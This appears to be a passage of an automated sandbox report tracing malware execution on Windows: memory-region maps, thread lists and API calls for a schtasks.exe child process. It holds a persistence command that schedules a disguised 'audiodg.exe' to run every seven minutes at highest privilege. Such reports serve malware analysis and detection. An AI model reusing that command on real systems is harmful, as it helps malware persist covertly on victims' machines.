monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 4204 start_va = 0x26c0000 end_va = 0x273ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000026c0000" filename = "" Region: id = 4205 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 4208 start_va = 0x2a30000 end_va = 0x2aaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a30000" filename = "" Region: id = 4209 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 4596 start_va = 0x2ba0000 end_va = 0x2c1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ba0000" filename = "" Region: id = 4597 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 4830 start_va = 0x2750000 end_va = 0x27cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002750000" filename = "" Region: id = 4831 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 5097 start_va = 0x2ab0000 end_va = 0x2b2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ab0000" filename = "" Region: id = 5098 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 5103 start_va = 0x2c20000 end_va = 0x2c9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c20000" filename = "" Region: id = 5104 start_va = 0x7fffff98000 end_va = 0x7fffff99fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 5406 start_va = 0x2d40000 end_va = 0x2dbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d40000" filename = "" Region: id = 5407 start_va = 0x2dc0000 end_va = 0x2e3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002dc0000" filename = "" Region: id = 5408 start_va = 0x7fffff94000 end_va = 0x7fffff95fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 5409 start_va = 0x7fffff96000 end_va = 0x7fffff97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 5776 start_va = 0x2960000 end_va = 0x29dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002960000" filename = "" Region: id = 5777 start_va = 0x7fffff92000 end_va = 0x7fffff93fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 6732 start_va = 0x24f0000 end_va = 0x256ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024f0000" filename = "" Region: id = 6733 start_va = 0x2570000 end_va = 0x2e9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Thread: id = 136 os_tid = 0xfb8 Thread: id = 138 os_tid = 0xfc4 Thread: id = 139 os_tid = 0xfc8 Thread: id = 140 os_tid = 0xfcc Thread: id = 142 os_tid = 0xfd4 Thread: id = 143 os_tid = 0xfd8 Thread: id = 144 os_tid = 0xfdc Thread: id = 149 os_tid = 0xa30 Thread: id = 156 os_tid = 0xc1c Thread: id = 166 os_tid = 0xc80 Thread: id = 169 os_tid = 0xce0 Thread: id = 180 os_tid = 0xd1c Thread: id = 187 os_tid = 0x5a4 Thread: id = 195 os_tid = 0x730 Thread: id = 203 os_tid = 0x92c Thread: id = 210 os_tid = 0x958 Thread: id = 220 os_tid = 0x98c Thread: id = 226 os_tid = 0x9c8 Thread: id = 229 os_tid = 0x420 Thread: id = 233 os_tid = 0xcd4 Thread: id = 248 os_tid = 0xdb8 Process: id = "29" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3cb56000" os_pid = "0xfbc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"audiodga\" /sc MINUTE /mo 7 /tr \"'C:\\hyperWinhost\\audiodg.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2917 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2918 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2919 start_va = 0x40000 end_va = 0xbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 2920 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 2921 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2922 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2923 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2924 start_va = 0xff3d0000 end_va = 0xff417fff monitored = 1 entry_point = 0xff3f966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2925 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2926 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2927 start_va = 0x7fffffd7000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 2928 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2929 start_va = 0xd0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2930 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2931 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2932 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2933 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2934 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2935 start_va = 0xd0000 end_va = 0x136fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2936 start_va = 0x1e0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 2937 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2938 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2939 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2940 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2941 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2942 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2943 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2944 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2945 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2946 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2947 start_va = 0x2e0000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 2948 start_va = 0x2e0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 2949 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 2950 start_va = 0x140000 end_va = 0x168fff monitored = 0 entry_point = 0x141010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2951 start_va = 0x450000 end_va = 0x5d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 2952 start_va = 0x140000 end_va = 0x168fff monitored = 0 entry_point = 0x141010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2953 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2954 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2955 start_va = 0x5e0000 end_va = 0x760fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 2956 start_va = 0x770000 end_va = 0x1b6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000770000" filename = "" Region: id = 2957 start_va = 0x140000 end_va = 0x151fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2958 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2959 start_va = 0x160000 end_va = 0x160fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 2960 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2961 start_va = 0x1b70000 end_va = 0x1e3efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2976 start_va = 0x1e40000 end_va = 0x1ebcfff monitored = 0 entry_point = 0x1e4cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2984 start_va = 0x1e40000 end_va = 0x1ebcfff monitored = 0 entry_point = 0x1e4cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2985 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2986 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2987 start_va = 0x1e40000 end_va = 0x206ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e40000" filename = "" Region: id = 2988 start_va = 0x1e40000 end_va = 0x1f1efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e40000" filename = "" Region: id = 2989 start_va = 0x1ff0000 end_va = 0x206ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ff0000" filename = "" Region: id = 2990 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2998 start_va = 0x1f70000 end_va = 0x1feffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f70000" filename = "" Region: id = 2999 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3000 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3001 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 3002 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3003 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 3004 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3005 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3013 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 137 os_tid = 0xfc0 [0071.344] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbf920 | out: lpSystemTimeAsFileTime=0xbf920*(dwLowDateTime=0x537d5d40, dwHighDateTime=0x1d9eb0c)) [0071.344] GetCurrentProcessId () returned 0xfbc [0071.344] GetCurrentThreadId () returned 0xfc0 [0071.344] GetTickCount () returned 0x1767507 [0071.344] RtlQueryPerformanceCounter (in: lpPerformanceCount=0xbf928 | out: lpPerformanceCount=0xbf928*=2487782776821) returned 1 [0071.347] GetModuleHandleW (lpModuleName=0x0) returned 0xff3d0000 [0071.347] __set_app_type (_Type=0x1) [0071.347] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff3f972c) returned 0x0 [0071.347] __wgetmainargs (in: _Argc=0xff411240, _Argv=0xff411250, _Env=0xff411248, _DoWildCard=0, _StartInfo=0xff41125c | out: _Argc=0xff411240, _Argv=0xff411250, _Env=0xff411248) returned 0 [0071.348] _onexit (_Func=0xff402ab0) returned 0xff402ab0 [0071.348] _onexit (_Func=0xff402ac4) returned 0xff402ac4 [0071.349] _onexit (_Func=0xff402afc) returned 0xff402afc [0071.349] _onexit (_Func=0xff402b58) returned 0xff402b58 [0071.349] _onexit (_Func=0xff402b80) returned 0xff402b80 [0071.349] _onexit (_Func=0xff402ba8) returned 0xff402ba8 [0071.349] _onexit (_Func=0xff402bd0) returned 0xff402bd0 [0071.349] _onexit (_Func=0xff402bf8) returned 0xff402bf8 [0071.350] _onexit (_Func=0xff402c20) returned 0xff402c20 [0071.350] _onexit (_Func=0xff402c48) returned 0xff402c48 [0071.350] _onexit (_Func=0xff402c70) returned 0xff402c70 [0071.350] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0071.350] WinSqmIsOptedIn () returned 0x0 [0071.351] GetProcessHeap () returned 0x1e0000 [0071.351] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x18) returned 0x1f5510 [0071.351] SetLastError (dwErrCode=0x0) [0071.351] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0071.351] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0071.351] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0071.352] VerifyVersionInfoW (in: lpVersionInformation=0xbf0e0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xbf0e0) returned 1 [0071.352] GetProcessHeap () returned 0x1e0000 [0071.352] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x18) returned 0x1fbad0 [0071.352] lstrlenW (lpString="") returned 0 [0071.352] GetProcessHeap () returned 0x1e0000 [0071.352] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x2) returned 0x1fbaf0 [0071.352] GetProcessHeap () returned 0x1e0000 [0071.352] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5a00 [0071.352] GetProcessHeap () returned 0x1e0000 [0071.352] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x18) returned 0x1fbb10 [0071.352] GetProcessHeap () returned 0x1e0000 [0071.352] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5a30 [0071.352] GetProcessHeap () returned 0x1e0000 [0071.352] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5a60 [0071.352] GetProcessHeap () returned 0x1e0000 [0071.352] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5a90 [0071.352] GetProcessHeap () returned 0x1e0000 [0071.352] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5ac0 [0071.352] GetProcessHeap () returned 0x1e0000 [0071.352] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x18) returned 0x1fbb30 [0071.352] GetProcessHeap () returned 0x1e0000 [0071.352] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5af0 [0071.352] GetProcessHeap () returned 0x1e0000 [0071.352] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5b20 [0071.352] GetProcessHeap () returned 0x1e0000 [0071.352] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5b50 [0071.352] GetProcessHeap () returned 0x1e0000 [0071.352] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5b80 [0071.353] GetProcessHeap () returned 0x1e0000 [0071.353] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x18) returned 0x1fbb50 [0071.353] GetProcessHeap () returned 0x1e0000 [0071.353] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5bb0 [0071.353] GetProcessHeap () returned 0x1e0000 [0071.353] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5be0 [0071.353] GetProcessHeap () returned 0x1e0000 [0071.353] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5c10 [0071.353] GetProcessHeap () returned 0x1e0000 [0071.353] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5c40 [0071.353] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0071.353] SetLastError (dwErrCode=0x0) [0071.353] GetProcessHeap () returned 0x1e0000 [0071.353] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5c70 [0071.353] GetProcessHeap () returned 0x1e0000 [0071.353] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5ca0 [0071.353] GetProcessHeap () returned 0x1e0000 [0071.353] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5cd0 [0071.353] GetProcessHeap () returned 0x1e0000 [0071.353] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5d00 [0071.353] GetProcessHeap () returned 0x1e0000 [0071.353] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5d30 [0071.354] GetProcessHeap () returned 0x1e0000 [0071.354] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x18) returned 0x1fbb70 [0071.354] _memicmp (_Buf1=0x1fbb70, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.354] GetProcessHeap () returned 0x1e0000 [0071.354] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x208) returned 0x1fbd10 [0071.354] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1fbd10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0071.354] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0071.357] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0071.357] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0071.358] GetProcessHeap () returned 0x1e0000 [0071.358] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x74e) returned 0x1fc2e0 [0071.358] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0071.358] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x1fc2e0 | out: lpData=0x1fc2e0) returned 1 [0071.358] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0071.358] VerQueryValueW (in: pBlock=0x1fc2e0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xbf1c8, puLen=0xbf230 | out: lplpBuffer=0xbf1c8*=0x1fc67c, puLen=0xbf230) returned 1 [0071.361] _memicmp (_Buf1=0x1fbb70, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.361] _vsnwprintf (in: _Buffer=0x1fbd10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xbf1a8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0071.361] VerQueryValueW (in: pBlock=0x1fc2e0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xbf238, puLen=0xbf228 | out: lplpBuffer=0xbf238*=0x1fc4a8, puLen=0xbf228) returned 1 [0071.361] lstrlenW (lpString="schtasks.exe") returned 12 [0071.361] lstrlenW (lpString="schtasks.exe") returned 12 [0071.361] lstrlenW (lpString=".EXE") returned 4 [0071.361] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0071.363] lstrlenW (lpString="schtasks.exe") returned 12 [0071.363] lstrlenW (lpString=".EXE") returned 4 [0071.363] _memicmp (_Buf1=0x1fbb70, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.363] lstrlenW (lpString="schtasks") returned 8 [0071.363] GetProcessHeap () returned 0x1e0000 [0071.363] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1f5e20 [0071.363] GetProcessHeap () returned 0x1e0000 [0071.363] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcbf0 [0071.363] GetProcessHeap () returned 0x1e0000 [0071.363] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcc20 [0071.364] GetProcessHeap () returned 0x1e0000 [0071.364] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcc50 [0071.364] GetProcessHeap () returned 0x1e0000 [0071.364] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x18) returned 0x1fbb90 [0071.364] _memicmp (_Buf1=0x1fbb90, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.364] GetProcessHeap () returned 0x1e0000 [0071.364] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0xa0) returned 0x1fc110 [0071.364] GetProcessHeap () returned 0x1e0000 [0071.364] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcc80 [0071.364] GetProcessHeap () returned 0x1e0000 [0071.364] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fccb0 [0071.364] GetProcessHeap () returned 0x1e0000 [0071.364] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcce0 [0071.364] GetProcessHeap () returned 0x1e0000 [0071.364] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x18) returned 0x1fbbb0 [0071.364] _memicmp (_Buf1=0x1fbbb0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.364] GetProcessHeap () returned 0x1e0000 [0071.364] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x200) returned 0x1fd3c0 [0071.364] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1fd3c0, cchBufferMax=256 | out: lpBuffer="Type 